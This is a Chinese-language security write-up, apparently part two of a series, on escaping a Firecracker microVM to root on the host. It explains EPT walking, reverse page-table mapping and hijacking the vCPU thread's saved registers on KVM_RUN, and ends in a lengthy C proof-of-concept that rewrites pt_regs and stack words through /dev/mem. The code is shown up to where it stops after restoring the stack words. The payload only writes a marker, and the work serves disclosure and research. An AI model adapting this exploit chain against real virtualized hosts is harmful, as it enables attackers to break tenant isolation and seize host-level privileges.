返回 文章 build CMS 文章

Firecracker 虚拟机逃逸:从客户机到宿主机 root 的完整利用链

通过篡改 KVM_RUN 返回时的寄存器帧,实现从客户机到宿主机 root 的逃逸。

Firecracker虚拟机逃逸KVM漏洞利用
成长分 / 100 76 综合收获、行动、留存与影响

Firecracker 虚拟机逃逸:从客户机到宿主机 root 的完整利用链
为什么值得读了解 Firecracker 微虚拟机逃逸的完整技术链,包括地址解析、进程定位和寄存器帧劫持。

学习如何利用 EPT 和页表逆向映射,从客户机物理地址定位宿主机进程和代码。

关键洞察
  1. Firecracker 的每个 vCPU 对应宿主机进程中的一个线程,该线程通过 ioctl(KVM_RUN) 进入内核运行客户机。
  2. KVM_RUN 返回时,宿主机内核将用户态寄存器保存在 pt_regs 结构中,修改该结构可控制返回后的执行流。
  3. 通过客户机页面的 nonce 和 EPT 遍历,可以定位宿主机物理地址,再通过逆向页表映射找到 Firecracker 进程的 PGD。
转成行动

深入阅读

正文与原文对照

原文保真覆盖:全文原文字符:35573

Firecracker 本应将不受信任的代码限制在 microVM 内。我们逃逸了它,并在宿主机上以 root 身份实现了代码执行。

我们发现了它如何保存寄存器、更改恢复位置,并使其在从 KVM 返回时执行我们选择的调用。然后客户机恢复了临时栈更改。Firecracker 继续运行,VM 仍可通过 SSH 访问。

PwnEscape 第 1 部分 介绍了这项工作背后的宿主内存原语。在这里,我们继续链条的下一部分:利用该访问权限在内存中找到 Firecracker,并从客户机内部接管一个活动线程。这是展示 Firecracker 设置上 CVE-2026-99999 的延续。

00 / 选择接管控制的位置

Firecracker microVM 在宿主机上有一个管理它的进程。每个虚拟 CPU(vCPU)在该进程中都有一个线程。该线程进入 KVM 运行客户机,并在用户空间需要处理事件时返回 Firecracker。Firecracker 在其 架构概述 中记录了这种安排。

firecracker-host-integration-dbdde36ef234
firecracker-host-integration-dbdde36ef234

运行虚拟 CPU 的调用如下所示:

ioctl(vcpu_fd, KVM_RUN, 0);

当线程处于该系统调用中时,宿主内核将其保存的用户空间寄存器保存在一个名为 pt_regs 的结构中。这些寄存器描述了 Firecracker 线程:其指令指针指示执行应恢复的位置,其栈指针指示应使用哪个用户空间栈。

这使得从 KVM_RUN 返回成为一个有吸引力的目标。如果我们能够定位并修改保存的帧,我们就可以选择线程返回用户空间时 Firecracker 执行的代码。导致这种返回的客户机操作将提供触发器。

我们已经通过客户机映射访问了选定的宿主物理内存。要使用它,我们需要识别 Firecracker 进程,找到该进程中可调用的代码,并定位属于其活动 vCPU 线程的寄存器帧。起点是我们在客户机内部控制的页面。

01-guest-to-vmm-chain-5c0fbee0cb07
01-guest-to-vmm-chain-5c0fbee0cb07

图 1. 客户机识别其 Firecracker 进程,找到 vCPU 线程的保存寄存器,并在从 KVM 返回时重定向该线程。

01 / 在宿主机上找到我们的客户机页面

客户机和宿主机使用不同的物理地址空间。一个页面在 VM 内部有一个客户机物理地址(GPA),在支持它的机器中有一个宿主物理地址(HPA)。在目标上,扩展页表(EPT)提供它们之间的转换。

我们在客户机页面中放置了一个可识别的字节模式,即 nonce。第一个解析器将该页面的已知 GPA 及其内容作为输入。它们共同为我们提供了一个要转换的地址以及一种检查转换是否到达我们页面的方法。

解析器在内存原语覆盖的宿主物理范围中搜索候选 EPT 根。EPT 根是转换表的起点。对于每个候选,解析器沿着客户机地址选择的条目直到到达物理页面,然后检查该页面是否有 nonce。

下面的片段是带有描述性辅助名称的解释性伪代码。它们展示了阶段之间传递的数据以及用于连接它们的检查。

for root in candidate_ept_roots:
    page_hpa = walk_ept(root, guest_gpa)
    if page_hpa is invalid:
        continue

    contents = read_host(page_hpa, length(nonce))
    if contents == nonce:
        candidates.append((root, page_hpa))

nonce 检查将提议的转换与我们控制的内存连接起来。更广泛的搜索产生了两个候选;嵌套页表的验证将它们减少到一个 EPT 根。遍历该根给出了我们客户机页面的宿主物理地址。

我们将此结果称为 guest_page_hpa 并将其传递给下一个解析器。我们现在在宿主内存中有了一个可识别的对象。下一个任务是找到映射它的宿主进程。

02 / 找到 Firecracker 进程

Firecracker 将客户机使用的内存映射到自己的地址空间。这种映射为我们提供了一种从客户机页面反向追溯到进程的方法。

宿主进程使用页表将其虚拟地址转换为物理内存。顶层称为页全局目录(PGD)。恢复适当的 PGD 将使我们能够转换 Firecracker 内部的地址,并通过内存原语读取其代码和栈。

我们的反向映射器在原生宿主页表中搜索 guest_page_hpa 的映射。正常的页表遍历从虚拟地址开始并产生物理地址。在这里,我们寻找我们已经知道的物理页面的映射,然后恢复与之关联的虚拟地址和页表根。

检查在两个方向上进行:

for mapping in reverse_map_host_page_tables(guest_page_hpa):
    pgd = mapping.root
    guest_page_va = mapping.virtual_address

    resolved_hpa = walk_host_page_tables(pgd, guest_page_va)
    if resolved_hpa != guest_page_hpa:
        continue

    if read_host(resolved_hpa, length(nonce)) != nonce:
        continue

    process_candidates.append((pgd, guest_page_va))

这将宿主进程的虚拟映射与通过 EPT 找到的物理页面连接起来。反向映射器返回一个经过验证的地址空间。我们将其根保留为 host_pgd 并用它来检查进程。

下一个解析器在这些映射中寻找 Firecracker 可执行文件。它识别出一个 ELF 映像,并检查 Firecracker 的 write(2) 包装器中已知的字节序列。这将恢复的地址空间与我们目标的二进制文件连接起来。

ASLR 改变可执行文件的加载位置。ELF 映像中的地址与其对应的运行时地址之间的差异是加载偏差。一旦映射器识别出映像,它就可以恢复该偏差并使用它来定位漏洞利用所需的代码:

runtime_code_address = load_bias + code_address_in_elf

映射器将加载偏差返回为 firecracker_base。有了该值和 host_pgd,我们可以定位运行进程中的代码,将其虚拟地址转换为宿主物理内存,并将那里的字节与预期的二进制文件进行比较。

我们检查了三个位置:将产生我们证明的 write(2) 包装器、KVM ioctl 之后的延续,以及干净返回所需的短 xor eax,eax; ret 序列。当我们在下面构造返回路径时,它们的目的变得相关。

此时,客户机可以检查 Firecracker 映像及其私有映射。我们仍然需要当前运行我们 VM 的线程的保存寄存器。

02-address-resolution-0e47fd8bf102
02-address-resolution-0e47fd8bf102

图 2. nonce 标识客户机页在宿主内存中的位置。其映射指向一个宿主页表根,使下一个解析器能够定位并验证 Firecracker 映像。

03 / 定位活跃的 vCPU 帧

帧查找器从前述阶段获取了 host_pgd 和 firecracker_base。它使用这些信息来识别宿主线程的保存状态。

最有用的线索是返回地址。在 KVM_RUN 中的 vCPU 线程应有一个保存的指令指针,指向 Firecracker 中相应的 ioctl 继续点。我们可以从已验证的二进制文件及其加载偏移计算出该地址。

然后我们在宿主内存中搜索与该调用一致的 pt_regs 帧。仅地址匹配也会拾取过时的栈内容,因此候选帧必须满足若干相关检查:

保存状态 我们检查的内容
系统调用 系统调用的身份和进行中状态与活跃的 ioctl 匹配。
请求参数 ioctl 请求为 KVM_RUN。
文件描述符 描述符在辅助程序的预期范围内。
指令指针 它与已验证的 Firecracker ioctl 继续点匹配。
栈指针 它通过恢复的宿主 PGD 进行转换。
段选择子和标志 它们描述了返回到用户空间的有效返回。
调用者返回地址 它位于已验证的 Firecracker 文本映射内。

栈检查将该帧与我们从未客户机页恢复的同一地址空间绑定。指令和调用者地址将其与 Firecracker 映像绑定。系统调用字段将其与运行 vCPU 的操作绑定。

搜索留下了一个候选。其位置存储为 frame_hpa,即保存寄存器帧的宿主物理地址。我们将它、PGD 和加载偏移传递给最终辅助程序。

在更改内存之前,辅助程序重复了代码签名、帧和栈检查。这确保活跃阶段使用了解析器所识别的相同进程状态。随后的执行和恢复检查将确定所选帧是活跃的。

03-live-kvm-run-frame-ddb3ad26cf50
03-live-kvm-run-frame-ddb3ad26cf50

图 3. 候选寄存器帧必须与 KVM ioctl、恢复的进程页表和已验证的 Firecracker 代码一致。

04 / 重定向来自 KVM 的返回

我们选择了一个简单的载荷:让 Firecracker 进程向其自身的 stderr 写入一个可识别的字符串。这将为宿主运行器提供来自我们已接管进程的可观察结果。

该字符串是 N8V23M2\n,七个字符后跟一个换行符。它占用八个字节,适合一个栈字。我们希望 Firecracker 执行的调用是:

write(2, "N8V23M2\n", 8);

这里 2 是 Firecracker 的 stderr 文件描述符。缓冲区指针必须指向 Firecracker 地址空间中的字符串,因此我们将字符串存储在其私有用户空间栈上。

我们在修改三个栈字之前保存了它们。一个存放字符串;另外两个存放临时调用序列的返回地址。然后我们更改保存的寄存器帧,以提供包装器地址、其参数以及该序列的栈指针:

RIP  = address of Firecracker's write wrapper
RDI  = 2
RSI  = virtual address of the marker on Firecracker's stack
RDX  = 8
RSP  = virtual address of the temporary return sequence

从 write 返回也需要小心。成功写入八个字节返回 8,而成功的 KVM_RUN 调用返回零。我们将 xor eax,eax; ret 的地址放在返回序列的第一位。它在第二个地址将执行带回 Firecracker 原始 ioctl 继续点之前清除返回值。

由此产生的控制流是:

KVM_RUN returns to userspace
    -> Firecracker's write wrapper emits the marker
    -> xor eax,eax; ret sets the return value to zero
    -> execution resumes at the original ioctl continuation

在准备好栈和保存的寄存器后,客户机向其串行端口写入一个字节。该操作导致 vCPU 线程从 KVM_RUN 返回。内核恢复了修改后的寄存器,Firecracker 带着我们的参数进入 write 包装器。

包装器发出了标记,返回序列清除了 eax,线程重新加入了其原始执行路径。控制返回客户机后,辅助程序恢复了所有三个栈字。

04-reversible-control-flow-10ae6af41746
04-reversible-control-flow-10ae6af41746

图 4. 保存的寄存器帧进入写入包装器。两个返回地址引导通过返回值调整并回到原始 Firecracker 路径。

05 / 检查执行和恢复

宿主运行器单独捕获了 Firecracker 的 stderr。完整输出为:

N8V23M2

捕获内容恰好包含八个字节,包括最后的换行符。Firecracker 仍在运行,客户机 SSH 有响应,辅助程序已恢复三个临时栈字。

我们通过一次不更改内存的新遍历检查了恢复。它被给予相同的帧地址,并在触发后重复了寄存器、代码和栈检查。检查通过,并且在临时栈位置未发现过时标记。

这些观察回答了三个不同的问题。客户机日志记录了触发和恢复。宿主捕获显示 Firecracker 执行了所选操作。最终验证检查了执行后的状态。

检查 记录结果
Firecracker stderr 标记的一份副本,总共八个字节
Firecracker 进程 PID 2936,触发后存活
客户机健康 SSH 有响应;运行时间 1615.72 秒
临时栈状态 所有三个原始字已恢复
可执行文本和共享库 未修改
触发后宿主内核错误 未观察到
恢复后验证 提供的帧地址和周围不变量通过
05-proof-receipt-6e8ad89bf50c
05-proof-receipt-6e8ad89bf50c

图 5。客户机日志、Firecracker stderr 捕获和最终验证记录了触发、宿主机执行和恢复后的状态。

06 / 宿主机上的 root 执行

当标记出现时,客户机已经选定了宿主机线程的指令指针、函数参数、栈数据和返回路径。Firecracker 使用自身的权限执行了该调用。

目标是 x86-64 上的 Firecracker v1.16.1,宿主机内核为 7.0.0-1011-aws,客户机内核为 6.18.44+。我们以 root 身份在 systemd-run 下直接启动 Firecracker,并用 taskset 将其绑定。因此,受控调用在宿主机上以 root 身份执行。

现有的写入包装器为我们提供了对该控制的紧凑证明。将其扩展到其他调用需要选择与该进程的映射和系统调用策略兼容的代码和参数。

此处使用的配置没有 jailer。Firecracker 的生产环境隔离包括降低权限,并通过命名空间和 seccomp 限制进程。使用这些控制的部署需要单独评估其 VMM 被攻陷后可用的权限和资源。

地址发现是让漏洞利用能够跟随运行中实例的关键。EPT 解析器将客户机页面连接到宿主机内存;反向映射器恢复宿主机地址空间;镜像映射器在 ASLR 下定位 Firecracker;帧查找器识别 vCPU 的保存状态。将最后阶段适配到另一个构建需要验证该二进制的代码签名和返回路径。

客户机利用对宿主机内存的访问接管了运行 VM 本身的线程。一次串行写入提供了触发,接下来的用户空间操作就属于我们了。

捕获的解析器值和工件

以下值来自保留的执行记录。上述方法使用符号名称,以便每个值的作用清晰;此表将这些名称与记录的地址连接起来。

值 记录的地址 在链中的进入位置
guest_gpa 0x08f03000 nonce 页面的客户机物理地址,提供给第一个解析器
guest_page_hpa 0x165610000 该页面的宿主机地址,由 EPT 解析器找到
host_pgd 0x14afc2000 由反向映射器恢复的宿主机页表根
firecracker_base 0x7298c2400000 由镜像映射器恢复的 Firecracker 加载偏移
frame_hpa 0x13a5bff48 为活动阶段选择的保存寄存器帧

记录使用运行 ID eventpath-v23-0907self02 和启动 ID 2b3cd5ac-2311-427f-a50a-6a79ecb8daa7。这些标识符连接解析器记录、宿主机捕获和恢复后验证。

较早的内存提供程序在构建内存孔径后,还接收了宿主机选择的任务和 canary 页帧号作为独立验证覆盖。这些地址未被 EPT 解析器、反向映射器、Firecracker 映射器、帧查找器或最终标记辅助程序使用。

发布包包含最终辅助程序源代码、JSONL 解析器记录、宿主机捕获、恢复清单、四个保留的只读解析器二进制文件及其来源,以及 SHA-256 清单。最终辅助程序接受解析器生成的 PGD、加载偏移和帧 HPA。其检查涵盖运行标识符、地址范围、代码签名、保存寄存器和栈几何;其试运行模式执行验证而不写入内存。

概念验证

#define _GNU_SOURCE

#include <errno.h>
#include <fcntl.h>
#include <inttypes.h>
#include <signal.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>

#define PAGE_SIZE_U64 UINT64_C(4096)
#define HUGE_2M_U64 (UINT64_C(1) << 21)
#define HUGE_1G_U64 (UINT64_C(1) << 30)
#define L4_ALIAS_BASE (UINT64_C(1) << 39)
#define FIRST_HPA_GIB UINT64_C(4)
#define LAST_HPA_GIB UINT64_C(192)
#define MARKER_CONFLICT_HPA_GIB UINT64_C(16)
#define MARKER_REMAP_ENTRY UINT64_C(193)
#define ADDRESS_MASK_4K UINT64_C(0x000ffffffffff000)
#define ADDRESS_MASK_2M UINT64_C(0x000fffffffe00000)
#define ADDRESS_MASK_1G UINT64_C(0x000fffffc0000000)
#define PTE_PRESENT UINT64_C(0x1)
#define PTE_USER UINT64_C(0x4)
#define PTE_LARGE UINT64_C(0x80)
#define PTE_PROTNONE UINT64_C(0x100)
#define IOCTL_RETURN_VADDR UINT64_C(0x26aad2)
#define WRITE_VADDR UINT64_C(0x27071e)
#define ZERO_EAX_RET_VADDR UINT64_C(0x1b274)
#define TEXT_FIRST_VADDR UINT64_C(0x12000)
#define TEXT_LAST_VADDR UINT64_C(0x276000)
#define KVM_RUN_REQUEST UINT64_C(0xae80)
#define SYS_IOCTL UINT64_C(16)
#define SYSCALL_AX_IN_PROGRESS UINT64_C(0xffffffffffffffda)
#define USER_CS UINT64_C(0x33)
#define USER_SS UINT64_C(0x2b)
#define PTREG_WORDS UINT64_C(21)
#define MARKER_LENGTH UINT64_C(8)
#define MARKER_STACK_OFFSET UINT64_C(0x30)
#define ROP_STACK_OFFSET UINT64_C(16)
#define SERIAL_PORT UINT64_C(0x3f8)

static const uint8_t marker_bytes[MARKER_LENGTH] = {
    'N', '8', 'V', '2', '3', 'M', '2', '\n'
};

static const uint8_t write_prefix[] = {
    0x48, 0x83, 0xec, 0x10, 0x49, 0x89, 0xf2, 0x48,
    0x89, 0xd1, 0x48, 0x63, 0xf7, 0x6a, 0x00
};

static const uint8_t ioctl_continuation[] = {
    0x48, 0x63, 0xf8, 0xe8, 0xc3, 0xe1, 0xff,
    0xff, 0x48, 0x83, 0xc4, 0x58, 0xc3
};

static const uint8_t zero_eax_ret[] = {0x31, 0xc0, 0xc3};

static void fault_handler(int signal_number)
{
    _exit(128 + signal_number);
}

static int valid_run_id(const char *value)
{
    size_t length = strlen(value);
    if (length < 14 || length > 64 ||
        strncmp(value, "eventpath-v23-", 14) != 0) {
        return 0;
    }
    for (size_t index = 0; index < length; index++) {
        unsigned char byte = (unsigned char)value[index];
        if (!((byte >= 'a' && byte <= 'z') ||
              (byte >= '0' && byte <= '9') || byte == '-')) {
            return 0;
        }
    }
    return 1;
}

static uint64_t parse_address(const char *text, int page_aligned)
{
    char *end = NULL;
    uint64_t value;
    if (text == NULL || strncmp(text, "0x", 2) != 0) {
        fprintf(stderr, "hex address required\n");
        exit(64);
    }
    errno = 0;
    value = strtoull(text + 2, &end, 16);
    if (errno != 0 || end == text + 2 || *end != '\0' || value == 0 ||
        (page_aligned && (value & (PAGE_SIZE_U64 - 1)) != 0)) {
        fprintf(stderr, "invalid address\n");
        exit(64);
    }
    return value;
}

static uint64_t alias_entry_for_hpa_gib(uint64_t hpa_gib)
{
    return hpa_gib == MARKER_CONFLICT_HPA_GIB ?
           MARKER_REMAP_ENTRY : hpa_gib;
}

static uint64_t alias_gpa_for_hpa(uint64_t hpa)
{
    uint64_t hpa_gib = hpa >> 30;
    if (hpa_gib < FIRST_HPA_GIB || hpa_gib > LAST_HPA_GIB) {
        fprintf(stderr, "host physical address outside mapped window\n");
        exit(70);
    }
    return L4_ALIAS_BASE |
           (alias_entry_for_hpa_gib(hpa_gib) << 30) |
           (hpa & (HUGE_1G_U64 - 1));
}

static uint8_t *map_host_page(int descriptor, uint64_t page_hpa, int prot)
{
    uint8_t *mapping;
    if ((page_hpa & (PAGE_SIZE_U64 - 1)) != 0) {
        fprintf(stderr, "unaligned host page\n");
        exit(70);
    }
    mapping = mmap(NULL, PAGE_SIZE_U64, prot, MAP_SHARED, descriptor,
                   (off_t)alias_gpa_for_hpa(page_hpa));
    if (mapping == MAP_FAILED) {
        perror("mmap host page");
        exit(70);
    }
    return mapping;
}

static uint64_t read_u64_hpa(int descriptor, uint64_t hpa)
{
    uint8_t *mapping;
    uint64_t value;
    uint64_t page_hpa = hpa & ~(PAGE_SIZE_U64 - 1);
    uint64_t offset = hpa & (PAGE_SIZE_U64 - 1);
    if (offset > PAGE_SIZE_U64 - sizeof(value)) {
        fprintf(stderr, "cross-page host read rejected\n");
        exit(70);
    }
    mapping = map_host_page(descriptor, page_hpa, PROT_READ);
    memcpy(&value, mapping + offset, sizeof(value));
    if (munmap(mapping, PAGE_SIZE_U64) != 0) {
        perror("munmap host read");
        exit(70);
    }
    return value;
}

static int native_user_entry(uint64_t value)
{
    return (value & (PTE_PRESENT | PTE_USER)) ==
           (PTE_PRESENT | PTE_USER);
}

static int native_protnone_leaf(uint64_t value)
{
    return !(value & PTE_PRESENT) && (value & PTE_PROTNONE) &&
           !(value & PTE_LARGE);
}

static uint64_t walk_native(int descriptor, uint64_t pgd_hpa,
                            uint64_t virtual_address)
{
    const unsigned shifts[4] = {39, 30, 21, 12};
    uint64_t table = pgd_hpa;
    for (unsigned level = 0; level < 4; level++) {
        uint64_t index = (virtual_address >> shifts[level]) & UINT64_C(0x1ff);
        uint64_t entry = read_u64_hpa(
            descriptor, table + index * sizeof(uint64_t));
        if (level == 3 && native_protnone_leaf(entry)) {
            return ((~entry) & ADDRESS_MASK_4K) +
                   (virtual_address & (PAGE_SIZE_U64 - 1));
        }
        if (!native_user_entry(entry)) {
            return UINT64_MAX;
        }
        if (level == 1 && (entry & PTE_LARGE)) {
            return (entry & ADDRESS_MASK_1G) +
                   (virtual_address & (HUGE_1G_U64 - 1));
        }
        if (level == 2 && (entry & PTE_LARGE)) {
            return (entry & ADDRESS_MASK_2M) +
                   (virtual_address & (HUGE_2M_U64 - 1));
        }
        table = entry & ADDRESS_MASK_4K;
    }
    return table + (virtual_address & (PAGE_SIZE_U64 - 1));
}

static int read_process_bytes(int descriptor, uint64_t pgd_hpa,
                              uint64_t virtual_address, uint8_t *output,
                              size_t length)
{
    size_t copied = 0;
    while (copied < length) {
        uint64_t address = virtual_address + copied;
        uint64_t hpa = walk_native(descriptor, pgd_hpa, address);
        uint64_t offset;
        size_t chunk;
        uint8_t *mapping;
        if (hpa == UINT64_MAX) {
            return 0;
        }
        offset = hpa & (PAGE_SIZE_U64 - 1);
        chunk = PAGE_SIZE_U64 - offset;
        if (chunk > length - copied) {
            chunk = length - copied;
        }
        mapping = map_host_page(descriptor, hpa & ADDRESS_MASK_4K,
                                PROT_READ);
        memcpy(output + copied, mapping + offset, chunk);
        if (munmap(mapping, PAGE_SIZE_U64) != 0) {
            perror("munmap process read");
            exit(70);
        }
        copied += chunk;
    }
    return 1;
}

int main(int argc, char **argv)
{
    const char *ack = getenv("NET08_V23_PRIVATE_STACK_MARKER_ACK");
    const char *mode = getenv("NET08_V23_PRIVATE_STACK_MARKER_MODE");
    const char *run_id;
    uint64_t pgd_hpa;
    uint64_t load_bias;
    uint64_t ptregs_hpa;
    uint64_t ptregs_page_hpa;
    uint64_t ptregs_offset;
    uint64_t regs[PTREG_WORDS];
    uint64_t user_sp;
    uint64_t marker_va;
    uint64_t rop_stack_va;
    uint64_t ioctl_return_slot_va;
    uint64_t marker_hpa;
    uint64_t rop_stack_hpa;
    uint64_t ioctl_return_slot_hpa;
    uint64_t original_marker;
    uint64_t original_rop_first;
    uint64_t original_rop_second;
    uint64_t caller_return;
    uint64_t marker_word;
    uint64_t ioctl_return_va;
    uint64_t write_va;
    uint64_t zero_eax_ret_va;
    uint8_t observed[sizeof(write_prefix) > sizeof(ioctl_continuation) ?
                     sizeof(write_prefix) : sizeof(ioctl_continuation)];
    uint8_t *ptregs_page;
    uint8_t *stack_page;
    volatile uint64_t *live_regs;
    int memory_fd;
    int port_fd;
    struct sigaction action;
    ssize_t trigger_result;

    if (argc != 5 || !valid_run_id(argv[1])) {
        fprintf(stderr,
                "usage: marker eventpath-v23-* pgd-hpa load-bias ptregs-hpa\n");
        return 64;
    }
    run_id = argv[1];
    if (geteuid() != 0 || mode == NULL || ack == NULL ||
        !((strcmp(mode, "dry-run") == 0 && strcmp(ack,
             "OWNED_FIRECRACKER_PRIVATE_STACK_MARKER_READ_ONLY_DRY_RUN") == 0) ||
          (strcmp(mode, "active") == 0 && strcmp(ack,
             "OWNED_FIRECRACKER_PRIVATE_STACK_MARKER_ONLY") == 0))) {
        fprintf(stderr, "exact owned private-stack marker mode and acknowledgement required\n");
        return 64;
    }
    pgd_hpa = parse_address(argv[2], 1);
    load_bias = parse_address(argv[3], 1);
    ptregs_hpa = parse_address(argv[4], 0);
    if (pgd_hpa < FIRST_HPA_GIB * HUGE_1G_U64 ||
        pgd_hpa >= (LAST_HPA_GIB + 1) * HUGE_1G_U64 ||
        ptregs_hpa < FIRST_HPA_GIB * HUGE_1G_U64 ||
        ptregs_hpa >= (LAST_HPA_GIB + 1) * HUGE_1G_U64 ||
        load_bias >= (UINT64_C(1) << 47)) {
        fprintf(stderr, "address outside owned geometry\n");
        return 64;
    }
    ptregs_page_hpa = ptregs_hpa & ADDRESS_MASK_4K;
    ptregs_offset = ptregs_hpa & (PAGE_SIZE_U64 - 1);
    if (ptregs_offset > PAGE_SIZE_U64 - sizeof(regs)) {
        fprintf(stderr, "pt_regs crosses host page\n");
        return 64;
    }

    memset(&action, 0, sizeof(action));
    action.sa_handler = fault_handler;
    sigemptyset(&action.sa_mask);
    if (sigaction(SIGBUS, &action, NULL) != 0 ||
        sigaction(SIGSEGV, &action, NULL) != 0) {
        perror("sigaction");
        return 70;
    }
    memory_fd = open("/dev/mem", O_RDWR | O_SYNC | O_CLOEXEC);
    if (memory_fd < 0) {
        perror("open /dev/mem");
        return 70;
    }
    port_fd = open("/dev/port", O_WRONLY | O_CLOEXEC);
    if (port_fd < 0) {
        perror("open /dev/port");
        return 70;
    }

    ioctl_return_va = load_bias + IOCTL_RETURN_VADDR;
    write_va = load_bias + WRITE_VADDR;
    zero_eax_ret_va = load_bias + ZERO_EAX_RET_VADDR;
    if (!read_process_bytes(memory_fd, pgd_hpa, write_va, observed,
                            sizeof(write_prefix)) ||
        memcmp(observed, write_prefix, sizeof(write_prefix)) != 0) {
        fprintf(stderr, "write wrapper prefix mismatch\n");
        return 70;
    }
    if (!read_process_bytes(memory_fd, pgd_hpa, ioctl_return_va, observed,
                            sizeof(ioctl_continuation)) ||
        memcmp(observed, ioctl_continuation,
               sizeof(ioctl_continuation)) != 0) {
        fprintf(stderr, "ioctl continuation mismatch\n");
        return 70;
    }
    if (!read_process_bytes(memory_fd, pgd_hpa, zero_eax_ret_va, observed,
                            sizeof(zero_eax_ret)) ||
        memcmp(observed, zero_eax_ret, sizeof(zero_eax_ret)) != 0) {
        fprintf(stderr, "zero-eax return gadget mismatch\n");
        return 70;
    }

    ptregs_page = map_host_page(memory_fd, ptregs_page_hpa,
                                PROT_READ | PROT_WRITE);
    memcpy(regs, ptregs_page + ptregs_offset, sizeof(regs));
    live_regs = (volatile uint64_t *)(ptregs_page + ptregs_offset);
    if (regs[10] != SYSCALL_AX_IN_PROGRESS || regs[12] != 0 ||
        regs[13] != KVM_RUN_REQUEST || regs[14] < 3 || regs[14] > 4096 ||
        regs[15] != SYS_IOCTL || regs[16] != ioctl_return_va ||
        regs[17] != USER_CS || !(regs[18] & UINT64_C(2)) ||
        regs[19] < UINT64_C(0x1000) || regs[19] >= (UINT64_C(1) << 47) ||
        regs[20] != USER_SS) {
        fprintf(stderr, "live KVM_RUN pt_regs validation failed\n");
        return 70;
    }
    user_sp = regs[19];
    marker_va = user_sp + MARKER_STACK_OFFSET;
    rop_stack_va = user_sp - ROP_STACK_OFFSET;
    ioctl_return_slot_va = user_sp - sizeof(uint64_t);
    marker_hpa = walk_native(memory_fd, pgd_hpa, marker_va);
    rop_stack_hpa = walk_native(memory_fd, pgd_hpa, rop_stack_va);
    ioctl_return_slot_hpa = walk_native(memory_fd, pgd_hpa,
                                         ioctl_return_slot_va);
    if (marker_hpa == UINT64_MAX || rop_stack_hpa == UINT64_MAX ||
        ioctl_return_slot_hpa == UINT64_MAX ||
        (marker_hpa & ADDRESS_MASK_4K) !=
        (rop_stack_hpa & ADDRESS_MASK_4K) ||
        (marker_hpa & ADDRESS_MASK_4K) !=
        (ioctl_return_slot_hpa & ADDRESS_MASK_4K) ||
        (marker_hpa & (PAGE_SIZE_U64 - 1)) >
        PAGE_SIZE_U64 - MARKER_LENGTH ||
        (rop_stack_hpa & (PAGE_SIZE_U64 - 1)) >
        PAGE_SIZE_U64 - sizeof(uint64_t) ||
        (ioctl_return_slot_hpa & (PAGE_SIZE_U64 - 1)) >
        PAGE_SIZE_U64 - sizeof(uint64_t)) {
        fprintf(stderr, "private stack slot geometry rejected\n");
        return 70;
    }
    if (!read_process_bytes(memory_fd, pgd_hpa, user_sp + UINT64_C(0x58),
                            (uint8_t *)&caller_return,
                            sizeof(caller_return)) ||
        caller_return < load_bias + TEXT_FIRST_VADDR ||
        caller_return >= load_bias + TEXT_LAST_VADDR) {
        fprintf(stderr, "Firecracker caller return validation failed\n");
        return 70;
    }

    stack_page = map_host_page(memory_fd, marker_hpa & ADDRESS_MASK_4K,
                               PROT_READ | PROT_WRITE);
    memcpy(&original_marker,
           stack_page + (marker_hpa & (PAGE_SIZE_U64 - 1)),
           sizeof(original_marker));
    memcpy(&original_rop_first,
           stack_page + (rop_stack_hpa & (PAGE_SIZE_U64 - 1)),
           sizeof(original_rop_first));
    memcpy(&original_rop_second,
           stack_page + (ioctl_return_slot_hpa &
                         (PAGE_SIZE_U64 - 1)),
           sizeof(original_rop_second));
    memcpy(&marker_word, marker_bytes, sizeof(marker_word));
    if (original_marker == marker_word) {
        fprintf(stderr, "marker already present\n");
        return 70;
    }

    printf("{\"schema\":\"net08-v23-owned-private-stack-marker-v1\","
           "\"event\":\"marker_plan\",\"runId\":\"%s\","
           "\"hostPgdHpa\":\"0x%" PRIx64 "\","
           "\"ptRegsHpa\":\"0x%" PRIx64 "\","
           "\"markerHostVa\":\"0x%" PRIx64 "\","
           "\"markerHpa\":\"0x%" PRIx64 "\","
           "\"writeHostVa\":\"0x%" PRIx64 "\","
           "\"zeroEaxRetHostVa\":\"0x%" PRIx64 "\","
           "\"ioctlReturnHostVa\":\"0x%" PRIx64 "\","
           "\"mode\":\"%s\","
           "\"privateUserStackOnly\":true,"
           "\"sharedTextWriteAttempted\":false,"
           "\"shellAttempted\":false,\"hostCommandAttempted\":false}\n",
           run_id, pgd_hpa, ptregs_hpa, marker_va, marker_hpa,
           write_va, zero_eax_ret_va, ioctl_return_va, mode);
    fflush(stdout);

    if (strcmp(mode, "dry-run") == 0) {
        printf("{\"schema\":\"net08-v23-owned-private-stack-marker-v1\","
               "\"event\":\"marker_dry_run_complete\","
               "\"runId\":\"%s\",\"writeAttempted\":false,"
               "\"sharedTextWriteAttempted\":false,"
               "\"shellAttempted\":false,"
               "\"hostCommandAttempted\":false}\n", run_id);
        fflush(stdout);
        if (munmap(stack_page, PAGE_SIZE_U64) != 0 ||
            munmap(ptregs_page, PAGE_SIZE_U64) != 0) {
            perror("munmap dry-run pages");
            return 70;
        }
        close(port_fd);
        close(memory_fd);
        return 0;
    }

    memcpy(stack_page + (marker_hpa & (PAGE_SIZE_U64 - 1)),
           marker_bytes, MARKER_LENGTH);
    memcpy(stack_page + (rop_stack_hpa & (PAGE_SIZE_U64 - 1)),
           &zero_eax_ret_va, sizeof(zero_eax_ret_va));
    memcpy(stack_page + (ioctl_return_slot_hpa &
                         (PAGE_SIZE_U64 - 1)),
           &ioctl_return_va, sizeof(ioctl_return_va));
    __atomic_thread_fence(__ATOMIC_SEQ_CST);
    __atomic_store_n(&live_regs[14], UINT64_C(2), __ATOMIC_SEQ_CST);
    __atomic_store_n(&live_regs[13], marker_va, __ATOMIC_SEQ_CST);
    __atomic_store_n(&live_regs[12], MARKER_LENGTH, __ATOMIC_SEQ_CST);
    __atomic_store_n(&live_regs[19], rop_stack_va, __ATOMIC_SEQ_CST);
    __atomic_store_n(&live_regs[16], write_va, __ATOMIC_SEQ_CST);

    trigger_result = pwrite(port_fd, "!", 1, (off_t)SERIAL_PORT);
    if (trigger_result != 1) {
        perror("serial exit trigger");
        return 70;
    }

    memcpy(stack_page + (marker_hpa & (PAGE_SIZE_U64 - 1)),
           &original_marker, sizeof(original_marker));
    memcpy(stack_page + (rop_stack_hpa & (PAGE_SIZE_U64 - 1)),
           &original_rop_first, sizeof(original_rop_first));
    memcpy(stack_page + (ioctl_return_slot_hpa &
                         (PAGE_SIZE_U64 - 1)),
           &original_rop_second, sizeof(original_rop_second));
